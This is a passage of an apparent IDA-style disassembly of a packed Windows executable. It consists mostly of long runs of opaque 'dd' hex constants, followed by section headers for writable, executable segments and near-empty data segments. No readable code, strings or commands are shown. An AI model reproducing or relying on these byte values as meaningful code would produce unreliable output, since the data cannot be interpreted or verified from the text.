dd 1CF9DD6Fh, 0AACBCABh, 80238F7h, 5B730A6h, 3863DA83h
dd 42E90506h, 115B0C06h, 30591F4Ch, 0F88EF59Eh, 98701E6Fh
dd 0D3491662h, 0F308C015h, 0C3D9F04Eh, 4649030Dh, 8A3DD9E2h
dd 1A42E924h, 7CC002Ah, 467E0B90h, 0AF2B05D2h, 8415F585h
dd 85E12ADDh, 409A6F7Ah, 84765D8Ch, 0BFC22436h, 0EAFC2E11h
dd 745DC4E0h, 0A1A80DEDh, 0C84D5CACh, 0A77257A8h, 36D77E55h
dd 0BF3E44A9h, 66E67AFFh, 2FBB7AEAh, 3E6375AAh, 0C6A0D6DBh
dd 0D923F44Ah, 49ED7B73h, 47975686h, 81A9BCF7h, 0AC68141Bh
dd 0C46BDFEDh, 0B07B4968h, 15FD951Ah, 3D819EB1h, 5D58B146h
dd 0F8C14CB2h, 0EB20D68Bh, 5E7FE614h, 0DCD6B5Ah, 0A0FB336Ah
dd 96FEB9B3h, 0B75A3645h, 1B973F2h, 5769AD8Bh, 7716A223h
dd 963BFE5Dh, 29A5DBA4h, 77ABC87Eh, 839C6635h, 41B1A5D5h
dd 6A6EA2FEh, 66F1C582h, 80A64C7Ah, 0BAE2718Ch, 7DA99EA8h
dd 0AF0EB0D9h, 0D7A53651h, 0D61FF6D3h, 4CF0A9D0h, 49481553h
dd 0FAA1CAAFh, 0E3A10E65h, 0C70BE00Bh, 394C8E5Fh, 0D4EFD51h
dd 0C40D0698h, 3363B926h, 9C5E4D33h, 0CB0C8F06h, 0F57BB5C8h
dd 8C00E310h, 5E43CDF7h, 0CBCA6CE6h, 645806Fh, 78213AC8h
dd 45DF93ABh, 65BF72BAh, 4E932597h, 8DCC223Ch, 63AC34AAh
dd 0D8454E76h, 0E53816F9h, 672DF40Ah, 65E1CA94h, 156C9233h
dd 25DCAD98h, 9EB9128Bh, 2D01E326h, 783CEE83h, 9485E7FBh
dd 56FFBB78h, 0BDD77588h, 4E17D9E2h, 0FA35F654h, 0C6DB3DA3h
dd 5E96E643h, 91307C42h, 0DBD936B4h, 8823903Ah, 501C973Fh
dd 0C364567Ch, 8E5010A4h, 98C037ECh, 8C0F5943h, 85B16B32h
dd 0E6CC312Ah, 0D2FE59B5h, 2CA78F99h, 6F4D5BDCh, 0D1049C6Dh
dd 1EEF087Dh, 15F960C3h, 39ED279Eh, 1977E44Ah, 8A29541Bh
dd 0A2144EE5h, 76EEBCC0h, 8F6E6E40h, 547273B0h, 249B50B6h
dd 0BCD53EA0h, 0ED450A12h, 0B7791E9Ch, 0B8844095h, 0A6B0E860h
dd 0CA39D261h, 11AA1554h, 0AF992107h, 100BD53Ah, 33B122DDh
dd 2DD0E151h, 846A2BB0h, 706B36Eh, 0E38CBC9h, 3677D480h
dd 4FF58B67h, 0A3371E93h, 66B6E5B2h, 734260CCh, 0DAE586CAh
dd 0A0623CDDh, 0A4A6CF63h, 0BDE84D6Ch, 0EE1A49CEh, 43062951h
dd 9630993Dh, 0A16424Dh, 0E7C88716h, 7D43215h, 62B6A69Bh
dd 465C72h, 0E01DF627h, 0A4072C6h, 3DEA31C5h, 0D3A2F676h
dd 9915F29Ah, 0C43405FAh, 7B838623h, 84ED5F7Fh, 2C63CF72h
dd 0D82756C4h, 5A10F9C5h, 51C4F454h, 3A1569F3h, 7F6FFD09h
dd 88FBD4F6h, 5344BC2Dh, 0D227DD53h, 0F4F37B4h, 0D428C952h
dd 9D5F0AC7h, 0FC016E92h, 0EB642A37h, 0CD31F3D3h, 722C34C2h
dd 40A2399Dh, 15C9BD4Dh
dd 0F5B17561h, 2BA7A517h, 0D189684Fh, 22FDD085h, 1697CED0h
dd 0F1ABABF9h, 0A33B6D0Eh, 56F69F45h, 1A1153E0h, 0F64BEFC3h
dd 7C9F233Eh, 9A89677Bh, 0D33FB54Fh, 2C39988Fh, 3ED45A95h
dd 60F56697h, 637DAD3Ah, 0F9533DBFh, 23C35F4Dh, 8C5DAD64h
dd 0F3BCF5D8h, 597A0B55h, 53942950h, 3CD8288Dh, 4FC1F6DDh
dd 0C8F5E08Bh, 72BE27ACh, 82FCE4E9h, 0C57A74E1h, 0D3F7D819h
dd 0ED2545CBh, 0CAE8BBEBh, 0D82BC28Dh, 167D015Fh, 0D4A4C984h
dd 0DA617611h, 1232C9DDh, 0E5B63ABEh, 1038836Bh, 4C39A606h
dd 631B8404h, 0A5668A23h, 0F9DF868Fh, 3253377h, 4F92F6C0h
dd 5511A2B4h, 4DB0469Ah, 9B835074h, 26D9D8C8h, 5BBFD7E2h
dd 0BC47A71Fh, 0D5CCF7C2h, 0E803D205h, 2F233684h, 3C3B5CCEh
dd 32A27CEh, 5592A8BCh, 3FEABD41h, 0D0044F99h, 712552BDh
dd 664AB407h, 58325F74h, 1730FB24h, 13CA268Ch, 0BD7D80B1h
dd 3D42BD16h, 78CA4C18h, 0FE6F4E45h, 4A1B460Dh, 1D5E23BFh
dd 0CDBC1450h, 0AEF9781h, 8C58A31Ah, 0BEF3CAB3h, 5D6D2385h
dd 10BB4DB3h, 8C47C7C1h, 0B53C1966h, 0B6347156h, 64DA4ADFh
dd 483C8AD4h, 0F61A48B0h, 0F6D18E3Fh, 8B245D36h, 2A34744Ah
dd 4171593Ch, 0C401B662h, 236C7D68h, 2464DECDh, 304F9D94h
dd 0F5AB1D76h, 5BFAD3C5h, 515E03F7h, 7C2E8096h, 4F7E995Dh
dd 2C9C2414h, 9714A561h, 8DF2922Bh, 0F7C8921Ch, 795B9990h
dd 5AFEEC35h, 0C5B67125h, 0A0D36DCEh, 0CB20EFA5h, 7F543B5Ah
dd 989DD8B4h, 0C57DA15Bh, 0FE9FE137h, 0D356B0B8h, 5C48FA92h
dd 0B9252625h, 981A7431h, 1F6015B1h, 78972980h, 0C94599D1h
dd 1FE4BE85h, 8A554299h, 0B3256090h, 0CDDA3590h, 0B72D2701h
dd 7DA7E702h, 5B286D62h, 0B96E411Ah, 4C325F3Dh, 38A9C6D7h
dd 23290A42h, 35F3481Ch, 8B2F5F58h, 77BF91F7h, 0B1EAE1FFh
dd 93593CC9h, 7F74ED18h, 604814DCh, 0B6D630FEh, 254F7358h
dd 328FD8CBh, 9E94D4ACh, 0BCBCC35Fh, 0A2082FBCh, 547A7E55h
dd 7EFAEB28h, 0E7B85365h, 37F1FA2Ah, 3C54A438h, 0A96DC401h
dd 9108A15Bh, 0DA8A13E8h, 0EF39CB57h, 4734F698h, 0D8CF72BCh
dd 0FA7B3791h, 0AE814CC2h, 35333447h, 1923DB40h, 971A94CAh
dd 0E5DA1591h, 70AD72B6h, 6D25D205h, 1950AB0Ch, 0CDFDE2DAh
dd 0CF31425Ch, 0C959D5B5h, 43233351h, 12C29788h, 742EB49Dh
dd 15DE2DEBh, 0CBF96A42h, 6B854EA4h, 38F060E3h, 3A81F3h
dd 0EA5B386Fh, 0A897A450h, 3FAE888Eh, 0DC6AA1F4h, 8F73AAD2h
dd 9A3C2F38h, 1A075E6Dh, 937048C7h, 24BDEDFCh, 0A7B6D2B5h
dd 996F3406h, 30EB0F66h, 8484DB65h, 3AA7D2C6h, 28F56A5Dh
dd 277B5378h, 0B9B7E917h, 6DEB4EC6h, 0B05C94A8h, 1DE93712h
dd 172DB390h, 0EB3DE22Eh, 0E4F5D6A3h, 9B53424h, 11E02DF8h
dd 7105E6AFh, 8BB23D3Ch, 3B4DD659h, 0F07106DDh, 189A059Eh
dd 13C2E6F7h, 4EB7DA2Eh, 3A7F2C77h, 0FA340567h, 23160AECh
dd 684C17DAh, 5F1E68Ch, 759159FBh, 2BA44630h, 0E43498E1h
dd 94216E75h, 0FE82C832h, 3236499Bh, 0F83310B3h, 78EB7B3Ch
dd 1DF9F62Ch, 7C8CDF08h, 0A2CCE069h, 8A53B7CCh, 66780C66h
dd 0F6F777A4h, 0FFCCB178h, 48064E74h, 0DF2DC20Ch, 7C19EE84h
dd 15470BF7h, 115D2BBEh, 0DAEACE17h, 0BEA5E44Dh, 58C58C48h
dd 33FD38AFh, 3A69E033h, 19941EC2h, 0BDD91C16h, 0CC009FD1h
dd 592BEA99h, 0F3E319B6h, 535C63CDh, 181DDF75h, 0BF712847h
dd 4778D479h, 0C6901675h, 0A195B6B8h, 1C55CFD2h, 738FF221h
dd 0A2A0E30Bh, 0C1B495ADh, 384C8491h, 0A4B48C45h, 84CF1CA6h
dd 0C938321Dh, 8A12B3C2h, 243988B5h, 38FE191Bh, 53CE27B9h
dd 0CCA53A9h, 458F822Ah, 0E7DB404Dh, 0A8B9BFBEh, 72AF9108h
dd 0E107AF76h, 0D8330F9Eh, 0DEA09E7h, 0A5D2FC77h, 4B3EC2DDh
dd 9351C157h, 35492218h, 6D8A1103h, 0F199E8FCh, 0F42D4C0Ch
dd 0F9056354h, 6A22B1C6h, 77ACC5ECh, 50701053h, 0AB938D50h
dd 598B8B0Ah, 89A98205h, 0D2C0FE72h, 32B12764h, 0F729138Ah
dd 42CDD4D0h, 0EBA69154h, 7D90FF6Bh, 8EE06DA7h, 7549930Bh
dd 0A39B492h, 8891CC6Ch, 8671FE06h, 41A6D08Eh, 1E4DAF3Bh
dd 54DA5097h, 0DFD490FBh, 0BE000BC0h, 99145834h, 0AFD4C8D5h
dd 57E0DD84h, 911A746Ah, 177C9EB0h, 0C2F535C0h, 0F7BC6964h
dd 7776BC63h, 43FB9F3Ch, 94840096h, 0DF8D000Ah, 0AC1B428Ch
dd 0C8EB87EBh, 9272FA73h, 4AD15C9h, 0B39B871Ch, 0A2368258h
dd 0B0700C55h, 3339A763h, 0B65D458Eh, 47F513BAh, 0AEF6E919h
dd 65765E39h, 35B2ED7Ah, 44851871h, 0D08D5A4Ah, 7CC11201h
dd 0A8ABA1B2h, 7BB85AF5h, 836F3036h, 3CE5F63Eh, 0FBB14731h
dd 4DDD0472h, 545CFB83h, 0C8523444h, 0E6E0B923h, 63305403h
dd 0E0D1595h, 0BA426E06h, 0D71F24B8h, 7B86D04Eh, 38FC5C3Eh
dd 634F40C3h, 0B4D7D976h, 5769F302h, 11F14CB4h, 5A411110h
dd 0E584F75h, 2AA57C4Dh, 6B4F29F6h, 7F451199h, 5F46C531h
dd 353F6C3h, 16C139FDh, 7B9A4B5Eh, 0EFCE987h, 150F8B53h
dd 0C1D889ABh, 30249B21h, 0A351DB6Ah, 0BB3CD844h, 0A6E8FAD5h
dd 1E0EEAE5h, 58C878F7h, 3A6C5080h, 0E3AC6278h, 0BF26E8F8h
dd 0D1650D5Dh, 9FE070FCh, 533AE3B4h, 0BA889335h, 48298066h
dd 1C5F06D6h, 0AB3E9A8Dh, 68CE024Fh, 0E19DA585h, 0A42340E3h
dd 949005D6h, 0F45F82AFh, 0C07F21E7h, 83DC0701h, 0C30102C7h
dd 7C393F06h, 3B237621h, 0BC7DAEB3h, 0F646CDD0h, 0EF234350h
dd 0EECEA52Ch, 8CCCABEFh, 5623A78Dh, 4FE47538h, 0F357DAB3h
dd 904FE872h, 4D743765h, 29CFF911h, 0C00E4405h, 2A43845Eh
dd 1A08CEA3h, 0D9E3B5A8h, 0FC5AB78Eh, 0A73D0FA0h, 0C37F3D69h
dd 458F308Ch, 3CC03CEBh, 0D2A104E0h, 0A815BF15h, 0BCB7705Eh
dd 0B0B8ADE0h, 3A5BD224h, 4933B76Bh, 0D7DA21A5h, 32209443h
dd 0A29219F9h, 1CAFD6E8h, 48F377E8h, 0DB6B39A1h, 0C1A12650h
dd 99CE6336h, 0CE92C900h, 86E7724Eh, 4728167h, 0DC1FE4E4h
dd 4220A6CFh, 8C2C39FCh, 3CB74711h, 7E27EB20h, 0F54986CBh
dd 0DB09D738h, 0C9FB12A7h, 0A9BA91D0h, 73ACBB7Ah, 0C63F10B3h
dd 51B79795h, 7A204AEh, 8EA21456h, 0B5E2FB77h, 3777FBF4h
dd 84B0CF7Ah, 685151Eh, 0D806EC35h, 0D70EF92Fh, 5DD00F17h
dd 0C0849441h, 9FBFC4Ah, 67DCB14Ch, 690E5E53h, 0A2D2B1E7h
dd 0F8E4DB94h, 738632F1h, 9BD15F2Ah, 1BFC9F92h, 39B0CDA5h
dd 4DB07E24h, 1F808ABFh, 946F1BE4h, 0C9B5A5A2h, 882F55A0h
dd 65109598h, 2D443803h, 7C4DCB5h, 0FE250D40h, 0DD657733h
dd 2C58A1AAh, 21C47F9Bh, 9294253Ch, 0B16DB0AEh, 381038A5h
dd 68EC2298h, 5C1AB5AEh, 6413120Eh, 981A32A1h, 90B5FFA9h
dd 867DD51Bh, 4A323461h, 36A3607Bh, 0A3963EF6h, 8A60C145h
dd 0EF91D87Eh, 0F6677420h, 4C291E04h, 239E5B51h, 939A06DFh
dd 0C1CF32D1h, 28857495h, 8FF69185h, 7AD59A9h, 15E7EC3Ch
dd 37C14F09h, 8C0B3FF8h, 0D33D6D2Ch, 0FC1B359h, 1F8DBE77h
dd 85FF5DD8h, 18BB7D2Ah, 0ABDE743h, 526D9064h, 36A1CDAAh
dd 0C28B75C9h, 0A4E80EEBh, 36EB9581h, 0A73ED751h, 0F6F713EDh
dd 0EC27AC6Bh, 10DBB362h, 402342DCh, 74AC24BCh, 0B985DA8Ch
dd 0D05B01A1h, 62BA2992h, 5A29EFC7h, 79117B59h, 4B5A0479h
dd 0C50EDC88h, 0AA9A2A86h, 5D8945B0h, 0B462FC1Eh, 57F5A3FCh
dd 34A33CBDh, 33A18B95h
dd 0B85520C7h, 0B156B800h, 55D116F3h, 0EB519716h, 2118EA30h
dd 796CF213h, 8D45A4E3h, 90B29D81h, 0F654F391h, 0CC05EA05h
dd 62123203h, 0B75F9B1Dh, 6A492EFEh, 0D20114F5h, 0CE1BAEh
dd 0E6C3D6Fh, 0A8447FC6h, 28D5471Ch, 0F336CC7Dh, 8113BB1h
dd 0F8BF537Eh, 0EF89C60Bh, 7C0CD23Fh, 9A03BB2Eh, 4057BBF3h
dd 0C0F021A9h, 0D96E1EFEh, 0C59C0257h, 6BE6CEE4h, 6EA2D87Ch
dd 51BAED36h, 7BADD763h, 5816E611h, 73EB4B1Ch, 8AD2DB81h
dd 0D162D43Bh, 36BC951h, 366900B1h, 54F660FFh, 6EF2813Ch
dd 80DF0034h, 0EBEE7CE5h, 3B0B3A4h, 0FD6DFC72h, 0C76EF061h
dd 0CD67B02Bh, 58E74089h, 0CEB306C9h, 0B6E70878h, 253EDCC8h
dd 0A2932131h, 0DBF43472h, 0D513EFF1h, 0BE447220h, 0B04E57B2h
dd 6EAAB0A6h, 7863A657h, 24F4B6FAh, 59F14F26h, 53554773h
dd 82F7BFFFh, 0E8D077BEh, 0FEDFAB62h, 0B2199F59h, 973BAC28h
dd 0D1B914DCh, 0B2FFEF6Fh, 8392856Eh, 247AE775h, 0B18CFB68h
dd 0C4662632h, 0D2D08976h, 835A641Ch, 0C7727AE4h, 0E2EFCCB4h
dd 4202F2B7h, 1807BA71h, 0C2B2AD4Bh, 0D81DF5ACh, 0CAA6C597h
dd 2AE0B47Eh, 44397698h, 3009A996h, 4823C115h, 0AB4691BAh
dd 37E37487h, 0D51F5AB0h, 0E7A1E58Eh, 0C5EDE523h, 1AE402BEh
dd 1CCEC21Fh, 0D429F238h, 0AF3D5E92h, 88C07094h, 0F7148F23h
dd 58186D5Bh, 0AEE7A246h, 77A3BE51h, 35D109E4h, 34F8D782h
dd 84DFEC39h, 0C1F03BBEh, 38476C78h, 0EA7B13DFh, 7AF59943h
dd 0DB92495Fh, 0AB31D0B3h, 0BB1CA4DBh, 4976ACF5h, 0A0796480h
dd 9F32283h, 0B059C11Ch, 0D38D3810h, 2E7C26DBh, 4977E11Fh
dd 89CC2B4Fh, 99B20EA6h, 0A284073h, 7A356667h, 3A09149h
dd 5BBABA00h, 620DE4F6h, 453721E0h, 0FCB163Dh, 5453F0ECh
dd 9CEAF200h, 0ACF33B15h, 0F85549CEh, 3C479CAAh, 27AB4BC9h
dd 3616006Ch, 238CD318h, 0BCE2BC2Ah, 1F61E111h, 8F319BEAh
dd 0C4049652h, 0CA52AE05h, 765B5FDEh, 651E93DFh, 19FC9ED5h
dd 1E94948Eh, 1DD36A1Ah, 6F2FAC94h, 4795E99Ah, 0CDD7C0C2h
dd 67077EC2h, 1C141434h, 9096F30Fh, 0F2DB45C2h, 0FE34523Dh
dd 0D6535DF0h, 596156A3h, 562C23C9h, 0E3803A76h, 0E85FA5C1h
dd 41841B31h, 0EF346A57h, 0BBC1110Ch, 7C20A70Bh, 0E56C4F24h
dd 0F4119A43h, 0A7EC739Bh, 0BA2B3DB4h, 0AC52F7CCh, 92514CDDh
dd 32408295h, 79B60995h, 45BB327Ah, 63CF2046h, 0ED9150ECh
dd 9FD0EBECh, 0CED881E5h, 959F1527h, 752F5557h, 0E4562C12h
dd 0B44B3EE3h, 0AB9DC872h, 629A6257h, 125CCCE4h, 13E5C634h
dd 490243E3h, 30518EE0h, 66605B06h, 783D87E6h, 121AF17Ch
dd 1271F015h, 33FC94ACh, 0BEE78775h, 7AC25AC5h, 5538AFF6h
dd 4A8840BAh, 0DE4D7594h, 0D1CB22A5h, 0EE3C658Eh, 0C017C2EDh
dd 91EFFF51h, 1BDDFF6Ch, 0C1C4271Ah, 8AA624Dh, 0DDAE4696h
dd 9B743DDEh, 60B5A50Ah, 7A6D5FBDh, 62363880h, 68E22033h
dd 8177651Ch, 18FB0E3Dh, 0EC4CCA7Fh, 3921DDBEh, 0A7DD61DFh
dd 0F27A5997h, 9A6E23DFh, 2882DCA8h, 0A2EE96E0h, 0D66D78A4h
dd 45A16625h, 4A0CFEB2h, 2EC72BAFh, 0BD006209h, 0C66ED57Eh
dd 58479293h, 11AB4079h, 6F01A8E7h, 6DE1A02Fh, 770F840Dh
dd 0AB23BF0Ah, 0EF0C47C2h, 0EA25A8B0h, 5DC56157h, 0F471776h
dd 0ACE24E88h, 0A066F336h, 883E8F63h, 42AAEA43h, 0D8F78575h
dd 363AA44Ah, 6F89221Ah, 6013CABCh, 7F226EE4h, 0B6CEF43Ch
dd 0AFEBEFC4h, 63E9A150h, 0BEE56864h, 0F43D964Fh, 0AD3B5E40h
dd 34AEC306h, 10377375h, 0BFE6F079h, 34DC78AAh, 78F04F37h
dd 0EDC49AB7h, 8A418AE2h, 0E09F7D5Dh, 9C13E4FDh, 0E12EEC8Ch
dd 0ED12CAA2h, 0D40D2619h, 0C3544319h, 60B8387Fh, 0ADC40529h
dd 0F3A065B2h, 7745911Dh, 491735Fh, 753160F2h, 43E9B471h
dd 0A432703Fh, 1984833Dh, 6EC2158h, 6AFE226Bh, 0BF98CFE8h
dd 731FFA20h, 9ECBAA45h, 57248D74h, 643EC3F2h, 7FC3B452h
dd 81FE8E52h, 4AD5F792h, 0F5241C2Dh, 0D7E14BACh, 0B4E03453h
dd 5A9BD7BAh, 0B2DE7CAAh, 0BC7CF60Dh, 57D3AF3h, 4CF71046h
dd 314D1B44h, 3C16029Dh, 0CA7E4268h, 17855381h, 372376AFh
dd 0FA10DD1Ah, 0BA5C46B0h, 10AE5314h, 0D414EDECh, 0D9216D02h
dd 0F83102A6h, 1CD3181Bh, 0EA572FF3h, 37860F7Ah, 7921906Eh
dd 246C7DB6h, 6B7D7795h, 0B4824EE9h, 525BAB2h, 0F6EA5EEAh
dd 64FDD694h, 1C8C6C66h, 5EACF63Bh, 8768EFBAh, 0BBE74441h
dd 373F3C99h, 6477D223h, 0DB4AC436h, 78ADAE83h, 0F4179365h
dd 0C8E8F214h, 0DDB56BE2h, 7F8537BEh, 0C7C4CBCBh, 618D3F36h
dd 0C168AD7Eh, 0BBD8FA95h, 0D8C931E5h, 0E7F8C6C9h, 0EA61A4E7h
dd 414DE8E1h, 6F37103Dh, 25597FD4h, 2F80F37Ah, 0B3280FA8h
dd 4343248Bh, 522EB3EAh, 9BF5F6E9h, 0FFFF6B41h, 0B60813BFh
dd 9CCA9E31h, 0D68DE0EFh, 6A0BA6ABh, 9B5AD329h, 0E3B4B7AAh
dd 73460F48h, 0BA41BCD5h, 227B57B8h, 0EAA1D695h, 0CF7E58A0h
dd 0A90EBCDFh, 62307458h, 362948E4h, 0CF89D2AAh, 751AA78Eh
dd 5228067Ah, 8858AAA9h, 8E1EE808h, 8F863DF7h, 0AED6B6FFh
dd 14AD498Bh, 7BDB30BBh, 0EAB4A560h, 0E8A9949h, 0C856657Dh
dd 0C628BF90h, 31D8CFA8h, 0DCC82642h, 7220CE0Ah, 6B3585B8h
dd 0DFAB7D18h, 4F29C5BDh, 67D42D87h, 0ABFD00A6h, 0C154D621h
dd 0E520387Ah, 0CF7C4DCh, 59358215h, 38961AC6h, 7199FC54h
dd 0A7ED006Bh, 0B7B39E4Dh, 97AE407h, 318F18Dh, 0ACA76EF0h
dd 66949DF7h, 0FF94FF6Dh, 58629B65h, 0F0C5BFCDh, 0F5E9A305h
dd 8D13CC3Dh, 13496849h, 9BFE535Eh, 0FCBAC414h, 0D433C1Bh
dd 0CF03965h, 457807F4h, 2E361457h, 134EE458h, 0C7849081h
dd 32944B88h, 6606AD79h, 0B72B5081h, 1D926FF7h, 0FFCEBC5Eh
dd 5EDE12A5h, 0D192FA24h, 0FAD48105h, 0C4E46F3Dh, 2AC6956Eh
dd 761D1960h, 0CCE137DAh, 5A9532EDh, 0BDEBD0DAh, 8B838F9Fh
dd 47E3270Dh, 0B0D5F42Bh, 0A406712Ch, 0EB800786h, 0EACB76B3h
dd 0F03B6C2h, 0EF8F7841h, 87646E3Dh, 69822A88h, 9FFA9C3Bh
dd 0D6ACF2C1h, 0BA987B4Bh, 0D73BE6Ch, 0A99A703Dh, 3F5213DFh
dd 0FCADC2B0h, 13D3C41Fh, 0B0C96D43h, 31451680h, 6C3BC460h
dd 3CD9B943h, 48994268h, 411684F1h, 0A81F0CCFh, 253C552Ah
dd 0E00D1454h, 824464FFh, 0B22B941Ah, 62258762h, 0B838D7BBh
dd 1861A64Eh, 0CB378F42h, 35BBAED3h, 0BC35E983h, 0C98765AEh
dd 0BF212A21h, 0CECC7EEAh, 0CF84D80Dh, 0D0863BE7h, 0D09EE579h
dd 0FF8C8F30h, 7321AD66h, 13C6AF02h, 7EFE2B73h, 0FBFE9EBCh
dd 80B29C12h, 8C48E430h, 0A3007673h, 220E9556h, 64229B15h
dd 3A256F0Ah, 880461FCh, 59DA3298h, 0CD29BA4Fh, 0D9D38F38h
dd 0F5C8434Dh, 364CBF57h, 0A3FF9165h, 0DF5D7928h, 2BCD6415h
dd 0BE90F9FAh, 41D5B84Bh, 868E45ECh, 81BBCEAFh, 5619A89h
dd 98A42ECh, 0F6FDAA82h, 3E2FE96Ah, 28B7404Dh, 5198A688h
dd 0AB3F412Dh, 8343864Dh, 520E580Eh, 3E951E54h, 3B4519Dh
dd 0A55E1F26h, 0B4B6360Fh, 0EA0A0588h, 0D0CCB056h, 8A0BEC5h
dd 0EBD48540h, 724FB0C4h, 17BE064Ah, 3E03E59Eh, 26E52339h
dd 0A84CA021h, 13566E56h, 2F366005h, 2CC75CE2h, 9A72C0E1h
dd 0ABB14181h, 84C26C8Dh, 9F608BE6h, 5B9CEE77h, 91550AD6h
dd 0DB170032h, 1C4248B0h, 0C82137D7h, 2F5D25F8h, 0C2D00278h
dd 14D868FEh, 662F700Eh
dd 6EF928E1h, 9AB1F043h, 14E5A437h, 6B23C84h, 84D46324h
dd 0D6071DC2h, 0F7CC8E87h, 13F9F233h, 24F4BE33h, 0DE5263DCh
dd 0DE0484DCh, 8C67450Bh, 53E86A9Eh, 68FB21B8h, 0C8E4FE9Bh
dd 0E52E1A27h, 8C9897F6h, 6ECB3E6Ch, 1C75652Eh, 9E64B88Eh
dd 0EBDEE3E1h, 0EB8398AAh, 96545151h, 89F19C0Dh, 0B57AF953h
dd 0F8D64811h, 2065142Eh, 0AC6DF258h, 15E0BE86h, 36D2BEB4h
dd 149DB461h, 2DAA8E1Fh, 84F528D5h, 0C0880A17h, 1684ECF6h
dd 0F59022FEh, 82677ADDh, 42CB463Eh, 0A386D37Ah, 0E4A91418h
dd 10573938h, 0F68539B2h, 0A1DF5DC0h, 0FC08D0FEh, 0DFDC0C89h
dd 0BE6F456Dh, 3D6F2AE6h, 5A7B479Dh, 1F4BCC02h, 0D2D0C393h
dd 0AD5E7130h, 76C9100Ah, 0F08EEDCFh, 6A132EEDh, 4F3B3522h
dd 0E2FE61D8h, 2A0EFCBDh, 0A8BDE5E8h, 33A8289Ch, 8D14DC32h
dd 8634C5ECh, 0C0191A98h, 7D11F078h, 0CC3E40CAh, 9D160127h
dd 8899AC4Ah, 1752469Bh, 36C3FF38h, 0CDE39231h, 0EA61A780h
dd 3D9AD1A1h, 0CB755311h, 0B862E56Fh, 0C52CD4E8h, 0A8E020DEh
dd 4FA028FAh, 0B17FD632h, 0AE9F69CEh, 0EFB5B44Eh, 94E096CFh
dd 49B28F46h, 327BCF60h, 0F186B8A5h, 9A94CF78h, 0FD53504Ch
dd 9221675Ah, 0F0D34F3Ch, 0D4113A8Dh, 6157CE62h, 28B59DA1h
dd 6E860845h, 3E0740E2h, 67A268C7h, 0B420DF95h, 6E0F39C7h
dd 9D71D747h, 7AAC22DAh, 5BB928C6h, 59E9D195h, 0FACFA12Fh
dd 0CC3BF5Bh, 0CF958433h, 466FCE99h, 334D1D4Ch, 52573079h
dd 0EF07CF44h, 0D731BD36h, 1D21396h, 0E388D907h, 85E1F9F2h
dd 0DCC52824h, 0EC972735h, 9458B8AEh, 1A4FB182h, 315D210h
dd 2370EACh, 0DFECAE40h, 8F11A110h, 30B9F9B2h, 0AD3A4696h
dd 87D01159h, 46BCD377h, 0DB5DE3C6h, 0B8D10A25h, 8DCED2EBh
dd 68390C4Ah, 0FB31C1D4h, 7282729Eh, 1642A62Bh, 4E6BBB17h
dd 55BE4A73h, 0B0FFC324h, 0AF770170h, 0Ch, 164h dup(0)
_nsp1 ends
; Section 3. (virtual address 00139000)
; Virtual size : 00000DC6 ( 3526.)
; Section size in file : 00000DC6 ( 3526.)
; Offset to raw data for section: 00139000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp2 segment para public 'CODE' use32
assume cs:_nsp2
;org 539000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
dd 371h dup(0)
db 2 dup(0)
dw ?
dd 0Eh dup(?)
_nsp2 ends
; Section 4. (virtual address 0013A000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00139E00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 53A000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start